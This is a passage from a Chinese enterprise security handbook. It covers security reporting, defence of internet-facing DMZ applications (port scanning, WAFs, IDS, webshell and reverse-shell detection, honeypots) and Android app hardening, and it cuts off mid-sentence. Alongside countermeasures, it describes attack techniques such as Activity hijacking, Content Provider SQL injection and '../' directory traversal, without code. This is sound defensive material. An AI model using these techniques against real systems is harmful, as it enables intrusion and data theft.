觉到,信息安全做得再好,好像也没法加分,出个小纰漏,就是负分,这是行业特性,很难改变。 10.2 安全总结 各类安全总结是企业安全建设负责人很重要的一项工作,如何快速高效地做一份高质量的安全总结 是每位安全负责人深感头疼的问题,他们在这方面的能力普遍低于做业务的人。以年底的安全总结和述 职报告为例,一份安全总结应该包括: ·内外部监管任务落实情况。包括监管、上级单位来文处理、外部网信、公安网安审计,以及内部风 险、合规、稽核审计配合完成情况等。 ·全年安全事件和安全指标完成情况。 ·安全管理体系建设。信息安全三年规划和20××年工作方案、重点项目建设完成情况、重点安全机制 建设完成情况(如开发安全管理机制建设、常态化安全检测机制)、重点任务完成情况(如服务器安全 配置规范落地情况)、安全工作跟踪机制、安全报告和安全考核实施情况等。 ·安全研究与安全意识培训实施情况。安全研究包括技术研究、技术创新、开源建设等内容。安全意 识培训包括全员安全意识、IT部门员工安全意识、安全人员安全意识。 ·内部管理。包括绩效管理、执行力管理、激励落实情况。 ·人才培养。“走进员工、了解员工、帮助员工”的理念,帮助员工成才的工作情况。 ·团队文化建设。吃喝玩乐不是团队文化。团队文化是对员工的思想、心理和行为具有一定约束和规 范的软性调控,使全体团队成员在战略目标、运营流程、合作沟通等基本方面达成共识,从而增强凝聚 力。团队文化的建设目标是打造团队文化的导向功能、约束功能、凝聚功能、激励功能和品牌效应。 ·个人成长情况。个人在技术学习、管理实践、团队协作等方面的成长情况总结。 ·存在的不足。包括工作的不足、团队的不足、团队负责人的不足。 ·新一年重点工作和计划。 安全总结报告注意事项包括: ·结果指标和过程指标相结合,尽量提供客观数据,横向和行业对比,纵向和历史的自己对比。 ·要阐述公司战略和业务发展规划、IT战略,规划下,安全支撑研发运维、安全支持业务发展的情 况。 ·主动回应公司、业务部门、IT部门领导和横向团队关切,抱着建设的心态去接受不同意见。 ·写一份好的总结的第一要素是安全团队全年业绩,而不是写作技巧。切忌吹嘘,存在的不足不要蜻 蜓点水,要深刻剖析。业绩突出团队,不足归于自身。 ·最后不要忘记感谢,感恩让我们走得更远。 其他安全总结类似,明确总结交付的对象,总结的关键内容、客观数据和业绩,是一份高质量总结 的关键因素。 10.3 安全汇报 “如何管理你的上级”,将上级作为你工作的资源之一,是非常有趣的管理领域话题。安全汇报是“管 理好你的上级”非常重要的一环,也是我们安全人员最不擅长的。企业安全负责人在职业生涯中面临无数 的安全汇报,如何让每一次汇报取得预想的效果?如何让安全汇报成为企业安全建设的强力助推器? 参考表10-2,根据汇报对象的不同,需要建立面向监管层、公司经营管理层、跨业务和IT的跨部门, 以及IT部门和总经理、安全团队内部的汇报机制。汇报的形式,包括正式会议、正式报告、正式流程阅 签、邮件,甚至非正式汇报(电话、微信,吃饭和路边交流)。汇报材料可以是PPT,也可以是Word, 以及邮件和短信、微信等一切可以传递交流信息的载体工具。汇报的内容一般围绕四个目标展开:进展 和问题报告(沟通信息、取得理解),结果和成果(讲成绩也讲问题),要资源和支持,推动工作(表 扬先进督促后进)。 表10-2 安全汇报 汇报线的不同通常会影响协调工作,理论上汇报层级越高,越能拿到“令牌”,管理权限越大,推动 一些基础安全措施会更顺利一些。安全汇报一定要聚焦和围绕目标,根据汇报对象不同,满足汇报对象 的利益诉求和关切点。重大汇报前,要熟悉每一个数据,提前练习,一定要取得汇报结论。 10.4 小结 本章围绕安全预算、安全总结和安全汇报三个内容,总结了一些具体实践和注意事项,希望读者在 实际工作中,结合具体情况,反复总结,优化提升,必将获益良多。 第二部分 安全技术实战 第11章 互联网应用安全 第12章 移动应用安全 第13章 企业内网安全 第14章 数据安全 第15章 业务安全 第16章 邮件安全 第17章 活动目录安全 第18章 安全热点解决方案 第19章 安全检测 第20章 安全运营 第21章 安全运营中心 第22章 安全资产管理和矩阵式监控 第23章 应急响应 第24章 安全趋势和安全从业者的未来 第11章 互联网应用安全 Web 2.0时代,企业会将越来越多的应用暴露在互联网上,带来的风险不容忽视。传统企业会用防火 墙进行隔离,将应用部署在隔离区(Demilitarized zone,DMZ),图11-1是一个简单的示意图。 图11-1 传统企业互联网应用示意图 防火墙在这里的作用有两点:一是将内网、DMZ区、互联网进行隔离,二是将DMZ的私网地址映射 到互联网上供外部访问。当然,实际企业可能做映射的不一定是防火墙,也有可能是负载均衡设备。当 一个应用需要对互联网访问时,需要注意哪些事项,本章将从外到里逐一阐述。 11.1 端口管控 首先要做的就是端口管控,即在防火墙上严格限制对外开放的端口。原则上DMZ服务器只允许对外 开放80、443端口,而且DMZ服务器不允许主动访问外部,访问外部的业务需要一对一开通访问。 常见的端口管控误区如下: ·有些企业管理员为了方便维护,在防火墙上直接对外开放Telnet、SSH、RDP的端口,这是非常不明 智的,只要知道密码,黑客就可以通过这些端口获得交换机/服务器的权限,即使不知道密码,也可以通 过暴力猜解密码获得登录凭证。有经验的管理员都知道,只要将SSH对外开放,系统日志就会出现大量的 登录失败日志。 ·还有一些FTP、MSSQL、MySQL、Redis、Rynsc、memcached、Elasticsearch、Mongodb等相关应用 的端口,也不应该对互联网开放,否则各种自动化的攻击工具或蠕虫也会很快通过这些端口得到相应的 权限,甚至直接加密你的数据进行勒索。有兴趣的读者可以上网搜索“FTP本地提权”“Redis未授权访 问”“MongoDB勒索”“Elasticsearch勒索”等等。 一般大型企业的互联网出口或者业务系统会比较多,在日常防火墙维护过程中,难免会出现遗漏, 所以需要有相应的机制来保障高危端口不对外开放,开放了要及时发现,这就需要端口扫描。说到端口 扫描工具,必谈Nmap,此外还有Zmap、Masscan也很受欢迎,下面简单介绍Nmap和Masscan。 Nmap功能非常强大,仔细看其帮助即可体会,如图11-2所示。Nmap支持列表改入、各种主机发现、 端口扫描技术、操作系统探测、扫描时间控制、各种格式输出等,甚至还支持外部脚本针对性的检测漏 洞。端口扫描技术常用的有:半开放扫描(TCP SYN)、全连接扫描(TCP Connect)、ACK扫描、FIN 扫描等。另外,Nmap扫描输出的xml格式结果文件,用脚本解析起来很方便,和其他系统对接非常轻 松。 图11-2 Namp的使用 Nmap功能虽然强大,但在大网段全端口扫描时会非常慢,这时候就需要Masscan了。Masscan号称 是“最快的互联网端口扫描器”,最快可以在6分钟内扫遍互联网,每秒可以发送一百万个数据包,适合于 对大量地址进行快速扫描。Masscan提供较为丰富的选项。例如,用户可以指定扫描的端口、路由器地 址、发包速率和最大速率等。同时,它还支持多种文件格式用于保存扫描结果。 对于大型企业,建议采用联合方式,例如先用Masscan快速扫描一遍,然后再针对性地用Nmap扫 描,以获取更多信息,包括操作系统版本、端口对应的Banner信息等。当扫描程序发现高危端口后,可 以实时输出日志给SOC,以便一线人员实时跟进处理。在实际工作中,扫描还需要注意避开业务高峰、 调整发包速率参数等,以免引起不必要的麻烦。 11.2 Web应用安全 端口管控工作是基础,做好端口管控工作后,需要将重点放在Web安全上。OWASP组织(Open Web Application Security Project,开放式Web应用程序安全项目)每年都会有个Top 10的风险列表,包括各种 注入(SQL、NoSQL、OS、LDAP等注入)、XSS攻击、CSRF,等等。在Web安全领域,吴翰清的《白 帽子讲Web安全》值得推荐,客户端脚本安全、服务端应用安全都包括在内。作为企业安全从业人员, 除了要知道黑客怎么攻击外,还需要关注我们怎么防守,在哪些维度上进行防守。 1.Web应用防火墙 针对常规的Web扫描行为,Web应用防火墙(Web Application Firewall,WAF)基本上可以直接拦截 或阻断。Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一 款产品。与传统防火墙不同,WAF工作在应用层,因此对Web应用防护具有先天的技术优势。基于对 Web应用业务和逻辑的深刻理解,WAF对来自Web应用程序客户端的各类请求进行内容检测和验证,确 保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。 WAF产品有基于硬件的,也有基于软件的,还有基于云的: ·硬件WAF一般支持透明桥接模式、旁路模式、反向代理模式等部署方式,而且性能好、支持ByPass 等,所以是我们的首选。当然,有些防火墙的IPS模块也具备一定的WAF功能,例如CheckPoint;有些负 载均衡设备本身也支持SSL卸载和应用防护,例如F5。在实际的部署过程中,需要考虑在哪一层部署,或 者结合各产品自身特性综合性地部署。 ·在一些不重要的区域或者基于成本考虑,也可以使用软件WAF,比较著名的有ModSecurity。 ModSecurity的规则包括基础规则集、SLR规则集、可选规则集、实验性规则集。基础规则集主要包括与 HTTP协议规范相关的一些规则,一些SQL注入、XSS、目录遍历、Webshell等;SLR规则集则是针对特定 应用(例如Joomla、PHPBB、WordPress等)的漏洞利用规则。考虑到ModSecurity性能有所不足,还可以 使用基于nginx的方案,如Naxsi,或者其他开源方案,如GitHub上的FreeWAF。客观来讲,使用开源WAF 对安全人员要求较高,也更灵活。 ·有些企业考虑将业务上云,于是出现了基于云的WAF,其本质上也是软件WAF,结合了一些日志分 析、机器学习的技术。 整体来讲,可以考虑在前端有硬件WAF的情况下,在服务器上启用软件WAF,结合业务场景对特定 请求进行重点防护,以做补充。 2.入侵检测/防御系统 虽然市面上某些WAF有利用机器学习的功能,可以对各种请求的参数进行学习并判定是否合法,但 WAF更多是基于规则的,有规则就会有绕过的可能。针对这些可能绕过WAF的请求,我们还需要借助入 侵检测系统/入侵防御系统(Intrusion Detection System/Intrusion Prevention System,IDS/IPS)类产品对 WAF后端的流量进行分析,发现恶意行为。IDS开源的有Snort,网上有较多的资料,不再赘述。商业的 IDS产品相对来讲更有保障,有新漏洞也可以得到新的规则库,在发生告警后还可以保留一段时间的数据 包供进一步分析。 3.漏洞扫描和渗透测试 针对暴露在互联网上的应用,我们自己也要开展定期扫描、内外部渗透测试等工作。漏洞扫描工具 常见的有AWS、IBM Appscan、HP WebInspect、Nikto等商业或开源扫描器,针对一些漏洞逻辑可能还会 使用BurpSuite、Fiddler等工具进行辅助。笔者建议有条件的企业,对一些企业应用经常出现的漏洞进行 针对性的扫描,适当的时候可以结合开源代码定制自己的扫描器,这样的好处是便于内部IPS和WAF识别 或加白处理。 渗透测试往往包含内部测试和外部测试,内部安全人员对业务理解更深,更容易发现问题。考虑到 内部人手、技能、经验等原因,企业一般会采购外部渗透服务,有一些是国家测评中心等国家单位,有 些是绿盟、安恒、长亭科技这样的企业。笔者建议是多找几家,最好实现按漏洞付费,每个公司的渗透 人员都有不同的经验和思路,多找几家往往能更加全面地覆盖。 关于漏洞扫描和渗透测试的内容,在第19章中有更详细的描述。 11.3 系统安全 未拦截的请求到了DMZ服务器,对应用或者系统有什么样的影响,我们放到这一节来探讨。常规的 系统加固、Web Server加固、目录权限设置等就不说了,恶意请求的目的可能是:想利用上传功能直接上 传一个WebShell,利用文件包含功能直接引用一个远程的WebShell,利用文件解析漏洞上传恶意图片或 视频,触发特定漏洞执行命令,或者是已经拿到WebShell直接请求执行命令。如何有效发现WebShell, 是一个很大的话题,这里不详细展开。一般来讲,有以下几个思路: ·文件内容扫描,看是否有一些高危函数、黑客版权信息等,改进一点的是结合机器学习对网络上的 各种样本进行收集提取。 ·结合文件变化及属性来判断。 ·结合网络流量特征来判断。 ·结合脚本底层执行动作来判断。 在系统上,有没有较好的方式发现异常呢?打个比方,有些黑客喜欢拿到WebShell后上来就执行 whoami之类的指令,我们是否可以利用基于主机型入侵检测系统(Host-based Intrusion Detection System,HIDS)中的检测模型发现其中的异常呢?操作系统本身就有一些审计日志功能,针对一些特定 的攻防场景,需要针对性的研究,定制规则以发现异常。 1.OSSEC 开源的HIDS产品中,OSSEC比较出名。OSSEC是一款开源的基于主机的入侵检测系统,包括日志分 析、文件/注册表完整性检测、安全策略监控、Rootkit检测、实时报警、动态响应等功能。它的最大优势 在于支持很多操作系统,包括Linux、MacOS、Solaris、HP-UX、AIX和Windows。OSSEC默认带有一些 规则,包括SSH破解、Windows登录失败、账号添加修改等,安装上简单测试就可以看到效果,但要实际 投产使用,还需要针对性地写一些插件规则以满足特定场景下的攻防策略需求。另外,OSSEC有些功能 的实现方式不是非常完美,例如,Rookit检测中的代码居然是直接利用netstat命令的结果进行对比,如图 11-3所示。 图11-3 Rookit检测中的代码直接利用netstat命令的结果进行对比 在负载高的机器上,netstat的执行会非常慢,还会因为时间原因产生误报。 2.Sysmon 对于Windows系统,建议使用Sysmon。Sysmon是由Windows Sysinternals出品的Sysinternals系列中的 工具,它以系统服务和设备驱动程序的方式安装在系统上,并保持常驻性。Sysmon用来监视和记录系统 活动,并记录到Windows事件日志,可以提供有关进程创建、网络连接和文件创建时间更改的详细信息。 Sysmon由微软出品,兼容性有保障,功能强大,对Windows审计日志是一个非常棒的补充。在大量机器 部署的情况下,结合Sysmon+Evtsys收集日志汇总到SOC,定制CASE,也是一个不错的方案。 11.4 网络安全 假设某台服务器因为有漏洞已经被攻陷,黑客一般会在机器上进行各种翻找,甚至进一步探测其他 网络。 WebShell通常为了方便都提供反弹shell的功能,即主动外连到特定端口,如果前面我们的防火墙在外 连这块控制得不好,就容易出问题。针对这个隐患,我们建议在网络上针对主动出站的连接进行记录, 与学习到的基线或者自行维护的黑白名单进行对比,以发现问题,我们把它称之为“异常流量检测系 统”,在DMZ环境下只需关注主动外连的情况,相对简单。 在DMZ内网活动的时候,流量不一定会被镜像到,这时候我们需要借助蜜罐来发现异常。在每个 DMZ网段内部署一到两个蜜罐,可以有效发现针对内网的扫描和探测行为。提到蜜罐,大家都熟知 honeyd,是一个非常优秀的开源蜜罐框架,支持模拟多个IP主机和任意的网络拓扑结构,还支持服务模拟 脚本来模拟后端应用,如IIS、Telnet、POP3等。在实际环境中需要关注其可能带来的运行风险,例如, 其arpd的组件使用类似ARP欺骗的方式牵引流量到密灌,在错误的运行方式下,如果同一网段任意存活主 机在某时刻短暂掉线后,可能会被蜜罐程序的ARP包刷新网关上的MAC地址表,导致原IP无法正常访 问。其实,蜜罐不一定要非常专业,在一些特定区域比如DMZ一些简单的基于端口访问的初级蜜罐也能 发挥很大作用。 11.5 数据安全 一个合法的Web请求最后可能会涉及后端各种业务逻辑,跟数据库打交道,在页面上展示相关内容 等。这里需要关注两个问题,一是到数据库的请求是否真的合法;二是页面上返回的输出是否包含敏感 信息,我们都放在这一节来讲。 一个SQL注入语法可能经过各种变形,加之利用服务端和WAF特性进行了绕过,但到了数据库这 里,一切都是非常清晰的,数据库审计类产品可以轻松发现一些注入行为。数据库审计类产品有两类, 一种是基于proxy或插件模式的;一种是基于网络流量的。基于proxy好理解,应用先连接proxy,再由 proxy连接后端真实数据库,这样所有的SQL请求都会被proxy记录下来;而有些数据库有一些审计插件, 例如Mcafee开源的MySQL_Audit插件,只需将对应的so文件复制到plugin_dir目录然后在配置文件里启用 即可。但这两个方案都对应用有一定的侵入性,稳妥起见,建议使用基于网络流量的数据库审计类产 品,即将应用到DB的流量镜像给设备,由设备再还原出SQL语句。商业的数据库审计产品有imperva、安 恒等。 一个正常的页面输出,也可能会涉及银行卡号、身份证、手机号等客户资料信息,一般应用需要做 一些脱敏处理。在一些特殊情况下可能处理得不够好,这时候就需要有一定的监测机制才能发现这种问 题。常规的DLP方案在这里需要经过一定的调整,重点不再是分析HTTP的Request,而是分析服务器的 Response信息。在Response信息里不仅能发现一些客户资料信息,还能发现一些异常的东西,诸如目录遍 历、特定WebShell等的问题。当然有些功能也可以在WAF里实现,WAF也有针对Response的一些检测规 则。 11.6 业务安全 还有一个场景需要提到,就是互联网应用中与业务逻辑相关的安全问题,统称“业务安全”。例如, 一个简单的登录页面,可能涉及人机识别、验证码、找回密码功能等,而攻击者可能会利用暴力破解、 撞库等方式进行尝试请求;再例如,一个简单的查看个人信息页面,涉及Session或Cookie验证,而攻击 者可能会通过修改URL中的ID或者修改本地Cookie来看其他人的信息。还有一些是关于接口的安全问 题,例如,某分类信息网站的简历泄露事件,就是攻击者组合了3个不同的接口获取相应信息。 这里的对抗方法,更多从风控角度出发,收集access日志、业务日志进行分析,再结合外部情报(黑 白名单库)、机器学习等,是一个非常细分的领域,我们将在第15章中详细介绍。 11.7 互联网DMZ区安全管控标准 针对DMZ区的互联网应用安全防护体系,我们将上面提到的各种管控技术方案进行抽象,并考虑实 际落地运营情况,形成一个互联网DMZ区安全管控标准,供大家参考,见表11-1。 表11-1 互联网DMZ区安全管控标准 当然,除了表11-1所提到的技术点之外,还涉及上线流程管控、防分布式拒绝服务攻击(DDoS) 等。常规的上线流程管控包括主机上线前扫描、应用上线前扫描、日志采集、安全防护软件部署、堡垒 机纳管等各个环节,建议与ITIL流程结合在一起。而DDoS对抗也是一个很专业的细分领域,我们后面会 在18.1节中介绍。最后,在互联网DMZ区可能还会部署类似VPN、邮件等系统,考虑到这些更多的是为 企业内部员工使用,所以我们将在第13章中进行阐述。 11.8 小结 本章从外向内对互联网应用安全防护做了一个基本的阐述,包括端口、Web应用、系统、网络、业 务、数据等,有些内容会在后面的章节中更为详细地阐述。需要特别说明的是,金融行业作为一个强监 管行业,在做安全工作的时候更多是考虑效果(合规、风险控制与转移、管理与运营落地等),所以在 安全解决方案的选择上更偏重成熟稳定的商业产品,再结合企业实际需求使用开源方案做适当的补充和 辅助,这一点和互联网公司因成本、规模等原因而更多选择开源或自研是有较大差别的。 第12章 移动应用安全 随着智能手机以及4G网络的普及和金融科技的深入发展,人们的生活已经被逐步改变,使用手机支 付、办公、购物、娱乐等成为主流方式。根据中国互联网络信息中心发布的第41次《中国互联网络发展 状况统计报告》截至2017年12月,我国手机网民规模达7.53亿,网民中使用手机上网人群的占比由2016年 的95.1%提升至97.5%。随着移动终端在日常生活中承担的数字金融业务越来越多,其安全性越来越受到 重视。 12.1 概述 早在2012年,央行就发布了金融行业移动支付标准,涵盖了应用基础、安全保障、设备、支付应 用、联网通用5大类35项标准,并从产品形态、业务模式、联网通用、安全保障等方面明确了系统化的技 术要求,覆盖中国金融移动支付各个环节的基础要素、安全要求和实现方案,确立了以“联网通用、安全 可信”为目标的技术体系架构。 2017年,泰尔终端实验室依据相关标准对多款基于Android操作系统的手机银行APP进行了安全测 评,其测评内容包括通信安全性、键盘输入安全性、客户端运行时安全性、客户端安全防护、代码安全 性和客户端业务逻辑安全性等6个方面的39项内容,分析评测结果不容乐观,如图12-1所示。 图12-1 泰尔终端实验室2017年对几大金融APP测试 在报告的最后,该实验室建议相关银行采取更加安全的APP加固解决方案,同时增加应用分发渠道监 控,第一时间监测盗版、篡改应用发布上线;增加应用自身完整性校验功能,检测到应用被篡改后,及 时提醒用户卸载非法应用或者自动进行更新修复。 我们把移动安全问题分两个话题来阐述:APP开发安全,APP业务安全。 12.2 APP开发安全 APP应用安全,除了我们所熟知的APP加壳外,还有一些是应用程序本身的安全问题,例如组件安 全、端口安全、数据安全等,甚至还有一些跟业务场景相关的。这里我们说一下APP开发中经常遇到的问 题与相应对策。 12.2.1 AndroidManifest配置安全 每个Android应用的根目录中都必须包含一个AndroidManifest.xml文件。Manifest文件为Android系统 提供有关应用的基本信息,系统必须获得这些信息才能运行任意应用代码。此外,Manifest文件还可执行 以下操作: ·为应用的Java软件包命名。软件包名称充当应用的唯一标识符。 ·描述应用的各个组件,包括构成应用的Activity、服务、广播接收器和内容提供程序。为实现每个组 件的类命名并发布其功能。根据这些声明,Android系统可以了解这组件具体是什么,以及在什么条件下 可以启动它们。 ·确定将托管应用组件的进程。 ·声明应用必须具备哪些权限才能访问API中受保护的部分并与其他应用交互。 ·声明其他应用与该应用组件交互所需具备的权限。 ·列出Instrumentation类,这些类可在应用运行期间提供分析和其他信息。这些声明只会在应用处在开 发和测试阶段时出现在清单文件中,在应用发布之前会被删除。 ·声明应用所需的最低Android API级别。 ·列出应用必须链接的库。 我们所熟知的导出组件,是Android上最常见也是门槛最低的攻击入口,如Manifest中组件设置不当 的话,就存在被任意调用的可能。此外,在Manifest配置文件中,还有一些可被调试的程序、可被导出的 应用数据以及与Scheme相关的配置开关,一旦开启就会存在一些风险,笔者将常见的风险与对策整理成 表格供读者参考,如表12-1所示。 表12-1 Manifest配置不当类风险与对策 12.2.2 Activity组件安全 Activity组件是Android四大组件中用户唯一能够看见的组件,作为软件所有功能的显示及与用户交互 的载体,其安全性不言而喻。除了前面说的组件导出暴露问题外,主要是访问权限控制和被劫持问题。 当Activity组件需要被外部特定程序调用时,建议使用android:permission属性来指定一个权限字符 串。 在启动Activity时,加入标志位FLAG_ACTIVITY_NEW_TASK,就能使该Activity置于栈顶立即呈现 给用户。恶意软件可以监控目标Activity,侦测到目标Activity启动后,立即弹出一个与该应用界面相同的 Activity,实现伪装目标Activity,也就是我们所说的“被劫持”问题。针对Activity劫持目前没有特别好的办 法彻底解决,一个思路是在APP一些关键界面(比如登录界面)被覆盖时弹出一些提示信息,进入后台的 时候判断是不是用户自己触发,如果不是也弹出提示信息。 12.2.3 Service组件安全 Service组件是Android系统中的后台进程,主要的功能是在后台进行一些耗时的操作。 建议私有Service不定义intent-filter并且设置exported为false,需要被同公司不同APP访问时,可以将 protectionLevel设置为signature;如果是合作伙伴APP访问,需要对其APP签名做校验。若存在Service返回 数据的情况,则需要关注敏感信息泄露风险。 12.2.4 Provider组件安全 Content Provider组件是Android应用的重要组件之一,管理对数据的访问,主要用于不同的应用程序 之间实现数据共享。Content Provider的数据源不止包括SQLite数据库,还可以是文件数据。通过将数据储 存层和应用层分离,Content Provider为各种数据源提供了一个通用的接口。 参见表12-2,如果在AndroidManifest文件中将某个ContentProvider的exported属性设置为true,就会产 生一些越权访问数据的风险。访问对象的不同结合App实现不当,可能会产生数据任意访问、SQL注入、 目录遍历等风险。 1.私有权限定义错误导致数据被任意访问 私有权限定义经常发生的风险是:定义了私有权限,但是根本没有定义私有权限的级别,或者定义 的权限级别不够,导致恶意应用只要声明这个权限就能够访问相应的Content Provider提供的数据,造成数 据泄露。 2.本地SQL注入漏洞 当Content Provider的数据源是SQLite数据库时,如果实现不当,而Provider又是暴露的,则可能会引 发本地SQL注入漏洞。具体来说,Content Provider的query()如果使用拼接字符串组成的SQL语句去查询底 层的SQLite数据库时,容易发生SQL注入。 3.目录遍历漏洞 对外暴露的Content Provider实现了OpenFile()接口,因此其他有相应调用该Content Provider权限的应 用即可调用Content Provider的OpenFile()接口进行文件数据访问。但是如果没有进行Content Provider访问 权限控制和对访问的目标文件的URI进行有效判断,攻击者利用“../”实现目录遍历便可访问任意可读文 件。更有甚者,在Openfile()接口的实现中,如果要访问的文件不存在,就会创建此文件,也就是说还有 可能往手机设备可写目录中写入任意数据。 针对以上问题,最重要的是要在APP设计开发之前,就要清楚哪些Provider的数据是用户隐私数据或 者其他重要数据,考虑是否要提供给外部应用使用,如果不需要提供,则应直接在Manifest文件中设置为 不导出。 注意: 由于API level在17以下的所有应用的“android:exported”属性默认值都为true,因此如果应用的Content Provider不必导出,建议显式设置注册的Content Provider组件的“android:exported”属性为false。 如果必须要有数据提供给外部应用,则需要做好权限控制,明确什么样的外部应用可以使用,尽量 不要提供用户隐私敏感信息。一般来讲,大部分开放的Provider,都是提供给本公司其他应用使用,一般 打包签名APP的签名证书是一致的,这样便可以将Provider的ProtectionLevel设置为signature。如果是合作 方的APP来访问,可以将合作方APP的签名哈希值预埋在提供Provider的APP中,提供Provider的APP要检 查请求访问此Provider的APP的签名,匹配通过了才能访问。 为了避免SQL语句,不要使用拼接字符串的形式,可以使用SQLiteDatabase类中的参数化查询query() 方法。 为了防止目录遍历,建议去除Content Provider中的OpenFile()接口,过滤限制跨域访问,对访问的目 标文件路径进行有效判断,过滤“../”等字符串。 12.2.5 BroadcastReceiver组件安全 BroadcastReceiver中文被译为广播接收者,用于处理接收到的广播,广播接收者的安全分为接收安全 与发送安全两个方面。 1.接收安全 动态注册广播如果仅为应用内部使用,应当将exported设置为false,这样外部应用不能随便发送广播 到自身程序中。 如果需要接收外部应用,则需要配置权限,和前面Provider的一样,如果是本公司其他APP,将 ProtectionLevel设置为signature;如果是其他合作伙伴的APP,则除了设置ProtectionLevel外还建议避免敏 感信息的传递。 2.发送安全 Android系统提供了两种广播发送方法,即sendOrderedBroadcast和sendBroadcast。 有序广播通过Context.sendOrderedBroadcast()来发送,所有的广播接收器优先级依次执行,广播接收 器的优先级通过receiver的intent-filter中的android:priority属性来设置,数值越大优先级越高。当广播接收 器接收到广播后,可以使用setResult()函数来将结果传给下一个广播接收器接收,然后通过getResult()函数 取得上个广播接收器接收返回的结果。当广播接收器接收到广播后,也可以用abortBroadcast()函数让系统 拦截下该广播,并将该广播丢弃,使该广播不再传送到别的广播接收器接收。 普通广播是完全异步的,通过Context的sendBroadcast()方法来发送,消息传递效率比较高,但所有 receivers(接收器)的执行顺序不确定。接收器不能将处理结果传递给下一个接收器,并且无法终止广播 Intent的传播,直到没有与之匹配的广播接收器为止。 Android官方在SDK文档中说明了一些不安全的API,包括:sendStickyBroadcast、 sendStickyOrderedBroadcast、sendStickyOrderedBroadcastAsUser、sendStickyBroadcastAsUser,建议不要在 APP使用。 12.2.6 WebView组件安全 WebView是一个基于Webkit引擎、展现Web页面的组件,APP通过调用该组件就可以访问网页内容, 所以有非常多的移动应用都内嵌了WebView组件。而在通付盾发布的《2017年度移动应用安全态势报 告》中,与WebView组件相关的漏洞是排名前三的,分别是:未移除有风险的WebView系统隐藏接口, WebView远程代码执行安全,WebView组件忽略SSL证书验证错误漏洞,如图12-2所示。 图12-2 Android移动应用高危漏洞类型分布 WebView在Android应用开发中广泛使用,除了具有一般View的属性和设置外,还可对URL请求、页 面加载、渲染、页面交互进行处理,可谓功能强大。对黑客而言,它是一个非常理想的攻击面,点开一 个链接或者扫描一个二维码就会执行恶意代码。在使用WebView组件过程中,除了一些系统隐藏接口, 还会有一些与本地交互、保存密码、HTTPS通信认证相关的风险需要关注,为了节省篇幅,笔者整理了 一个WebView组件常见风险与对策表格,见表12-2。 表12-2 WebView组件相关风险与对策 值得注意的是,Android N中增加了一个开发者选项,就是在所有的应用中将Web-View的渲染进程运 行在独立的沙箱中。即使恶意网页通过漏洞在渲染进程中执行了代码,还需要更多的漏洞绕过沙箱的限 制。这一特性将在Android O中默认启用。但在这一缓解措施正式部署到大部分设备之前,通过攻击 WebView获得远程代码执行进而直接攻击应用仍然是可行的。 12.3 APP业务安全 除了一些在开发过程中的安全问题外,还有一些是跟业务相关,比如反编译、二次打包、钓鱼APP等 各种问题,这里涉及一些混淆、加壳、签名验证、运行时环境检测等技术方案。除此之外,还有一些是 在业务上想做更多安全控制,比如数据防泄露、防截屏、安全键盘等。 12.3.1 代码安全 相比iOS系统的封闭及严格的APP审核及签名控制,Android系统的开源以及基于Java的特性,导致 APP在Android上更容易被反编译。目前常用的一些反编译工具(比如APKTool、dex2jar等)能够毫不费 劲地还原Java里的明文信息,Native里的库信息也可以通过objdump或IDA获取。而心怀不轨的人可能会通 过反编译后加入恶意的代码逻辑,重新打包一个APK文件去发布安装,也就是我们常说的“二次打包”问 题。针对这些问题,常见的解决方案是代码混淆、加壳、反调试、签名验证等。 1.代码混淆 APP的代码混淆包括Java代码的混淆以及一些资源文件的混淆。 Java语言编写的代码本身就容易被反编译,Google很早就意识到这一点,在Android 2.3的SDK中正式 加入了ProGuard代码混淆工具,开发人员可以使用它对自己的代码进行保护。ProGuard提供了压缩、混 淆、优化代码以及反混淆栈跟踪的功能,网上资料较多,不再赘述。 资源文件的混淆,一些互联网公司也提供了一些方法供参考,比如微信提供的 AndResGuard(https://github.com/shwenzhang/AndResGuard)等。 2.加壳 Android加壳分为dex加壳和对native编译(即so文件加壳),主流的加壳技术基本可以分为四代: ·整体dex加壳。对classes.dex文件进行整体加壳加密,存放在APK的资源中,运行时将加密后的 classes.dex文件在内存中解密,并让Dalvik虚拟机动态加载执行。 ·防调试防Dump。整体dex在内存中解密,黑客通过内存Dump的方式即可拿到明文,所以出现了防调 试、防内存Dump的技术。 ·方法体抽离。相比前面整体加壳加密,第三代开始尝试只对classes.dex文件中的方法、函数进行抽取 加密,在Java虚拟机执行具体某个方法时才将其动态解密,并以不连续的方式存放到内存中。后面慢慢发 展成将Java代码内关键算法、业务逻辑等函数自动转化成native的C++代码进行防护。 ·VMP加壳/so加壳。我们知道程序的执行,是依靠CPU对于符合规范的指令集的解析处理。如果将原 指令集通过自定义规范进行变形处理,生成新的指令集(称之为虚拟指令集),CPU将无法识别虚拟指 令。此时若配合能够解析虚拟指令集的解释器(称之为虚拟机),就可以达到不直接通过CPU而是通过 虚拟机来执行虚拟指令。这就是很多公司各种VMP保护方案的基本原理。 对于使用Android NDK编写的Native代码,逆向它原本就有一定的困难,如果再添加外壳保护(比如 UPX)则更加困难了。 不同的加壳方案有着不同的效果,表12-3是某厂商网站上的风险描述表。 表12-3 某官网提供的APP加固风险表 目前市面上有很多APP加固平台,像360、百度、腾讯、网易盾、阿里聚安全等为免费的,像爱加 密、梆梆、几维、顶象科技等为收费的。从事安全的读者肯定会关注网上各类破解文章,比如图12-3这个 针对360加固的秒脱。 图12-3 加固后的对抗 其实笔者想说的是,APP加固的目的是提升对手的攻击成本,如果通过加固能让相当一部分人知难而 退,就达到APP加固本身的效果了。 在实际工作中,考虑到APP内部复杂的业务场景和升级机制,有一些加固方案可能会存在一定的兼容 性问题,用户体验要求高的场景可能还会追求运行速度,因此需要慎重权衡。一般的思路是在APP上进行 各种埋点,结合后端大数据风控来降低安全风险。 3.反调试 调试器检测,一般是利用android.os.Debug.isDebuggerConnected()这个API来判断,还有一些其他的思 路,比如调用Android中flag属性ApplicationInfo.FLAG_DEBUGGABLE判断是否属于debug模式,循环检查 android_server调试端口和进程信息,循环检查自身status中的TracePid字段值等。 此外,还有检测模拟器,检测设备是否已经ROOT。模拟器检测技术,一般是取一些模拟器特征,例 如通过电话管理器攻取设备IMEI、IMSI,判断设备配置信息与Android模拟器设备配置默认值是否相同, 检测设备是否有安装蓝牙设备硬件,判断当前设备WIFI MAC地址,检测是否具有QEMU虚拟机通道文件 等。 ROOT检测一般的思路是,看ROOT后的手机会有哪些特征,比如,检测su文件是否存在及可以执 